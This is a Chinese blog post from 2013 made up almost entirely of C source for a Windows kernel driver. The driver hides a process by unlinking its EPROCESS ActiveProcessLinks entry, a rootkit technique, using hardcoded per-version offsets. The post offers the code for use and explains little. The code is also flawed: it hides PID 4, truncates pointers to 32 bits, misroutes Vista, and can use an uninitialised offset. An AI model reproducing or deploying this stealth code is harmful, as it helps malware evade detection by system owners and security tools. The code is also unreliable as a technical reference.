驱动之路_链表方式(摘除链表)_隐藏进程

#define INITCODE code_seg("INIT")  //定义区段,代码运行一次后就释放该函数占用的内存空间
#define PAGECODE code_seg("PAGE")  //可以用于虚拟内存

#include <ntddk.h> //这里是C语言的头文件

#include "stdafx.h"


typedef enum WIN_VER_DETAIL {
    WINDOWS_VERSION_NONE,       //  0
    WINDOWS_VERSION_2K,
    WINDOWS_VERSION_XP,
    WINDOWS_VERSION_2K3,
    WINDOWS_VERSION_2K3_SP1_SP2,
    WINDOWS_VERSION_VISTA_2008,
    WINDOWS_VERSION_7_7600_UP,
    WINDOWS_VERSION_7_7000
} WIN_VER_DETAIL;

WIN_VER_DETAIL WinVersion;



EXTERN_C  NTSTATUS PsLookupProcessByProcessId(IN ULONG ulProcId, OUT PEPROCESS * pEProcess);


WIN_VER_DETAIL GetWindowsVersion()
{
    RTL_OSVERSIONINFOEXW    osverinfo;

    if (WinVersion)
        return WinVersion;


    memset(&osverinfo,0,sizeof(RTL_OSVERSIONINFOEXW));
    osverinfo.dwOSVersionInfoSize = sizeof(RTL_OSVERSIONINFOEXW); 
    if (RtlGetVersion((RTL_OSVERSIONINFOW*)&osverinfo) != STATUS_SUCCESS){
        return WINDOWS_VERSION_NONE;
    }

    //     KdPrint(("[xxxxxxxx] OSVersion NT %d.%d:%d sp%d.%d\n", 
    //         osverinfo.dwMajorVersion, osverinfo.dwMinorVersion, osverinfo.dwBuildNumber, 
    //         osverinfo.wServicePackMajor, osverinfo.wServicePackMinor));

    if (osverinfo.dwMajorVersion == 5 && osverinfo.dwMinorVersion == 0){
        WinVersion = WINDOWS_VERSION_2K;
    } 
    else if (osverinfo.dwMajorVersion == 5 && osverinfo.dwMinorVersion == 1){
        WinVersion = WINDOWS_VERSION_XP;
    } 
    else if (osverinfo.dwMajorVersion == 5 && osverinfo.dwMinorVersion == 2){
        if (osverinfo.wServicePackMajor==0){ 
            WinVersion = WINDOWS_VERSION_2K3;
        } 
        else{
            WinVersion = WINDOWS_VERSION_2K3_SP1_SP2;
        }
    } 
    else if (osverinfo.dwMajorVersion == 6 && osverinfo.dwMinorVersion == 0){
        WinVersion = WINDOWS_VERSION_2K3_SP1_SP2;
    }
    else if (osverinfo.dwMajorVersion == 6 && osverinfo.dwMinorVersion == 1 && osverinfo.dwBuildNumber == 7000){
        WinVersion = WINDOWS_VERSION_7_7000;
    }
    else if (osverinfo.dwMajorVersion == 6 && osverinfo.dwMinorVersion == 1 && osverinfo.dwBuildNumber >= 7600){
        WinVersion = WINDOWS_VERSION_7_7600_UP;
    }
    return WinVersion;
}



#pragma PAGECODE /*指的代码运行后 就从内存释放掉*/
VOID DDK_UnLoad(IN PDRIVER_OBJECT pDriverObject)
{


    KdPrint(("驱动成功被卸载..."));


}

VOID EnumProcess()
{
    //先获取PID=4的进程对象
    ULONG_PTR   offset_eprocess_flink;//ULONG_PTR=无符号整形,如果在win7 64位下,那么他就是64位,如果是32位那么他就是32位
    WIN_VER_DETAIL WinVer;
    NTSTATUS    status = STATUS_UNSUCCESSFUL;
    PEPROCESS    eprocess_process_object;
    PLIST_ENTRY    listentry_process_list;
    PLIST_ENTRY    first_process_list;//记录第一个
    ULONG_PTR count=0;

    //我们要在这里初始化一下偏移量
    //EPROCESS 增加新的成员
    WinVer = GetWindowsVersion();
    switch(WinVer)
    {
    case WINDOWS_VERSION_XP:
        offset_eprocess_flink = 0x88;
        break;
    case WINDOWS_VERSION_7_7600_UP:
    case WINDOWS_VERSION_7_7000:
        offset_eprocess_flink = 0xb8;
        break;
    case WINDOWS_VERSION_VISTA_2008:
        offset_eprocess_flink = 0x0a0;
        break;
    case WINDOWS_VERSION_2K3_SP1_SP2:
        offset_eprocess_flink = 0x98;
        break;
    case WINDOWS_VERSION_2K3:
        offset_eprocess_flink = 0x088;
        break;
    }

    //做一个简单的效验
    if (!offset_eprocess_flink){
        return;
    }

    status = PsLookupProcessByProcessId((ULONG)4, &eprocess_process_object);

    if (NT_SUCCESS(status))
    {
        //ObDereferenceObject来减少引用计数
        ObDereferenceObject(eprocess_process_object);

        //相加得到ActiveProcessLinks
        listentry_process_list = (PLIST_ENTRY)((ULONG)eprocess_process_object + offset_eprocess_flink);
        //这里要判断一下内存是否可以访问,不然会蓝屏
            //这里开始断链隐藏进程
        RemoveEntryList(listentry_process_list);
    }
}

NTSTATUS DriverEntry(PDRIVER_OBJECT pDriverObject,PUNICODE_STRING pString)//驱动入口函数
{

    KdPrint(("驱动被加载!!!"));//调试的时候可以用这个函数调试
    pDriverObject->DriverUnload=DDK_UnLoad;//设置卸载驱动函数

    EnumProcess();
    return (NTSTATUS)1;
}

 

posted @ 2013-09-17 00:46  宝贝,我永远都在  阅读(557)  评论(0)    收藏  举报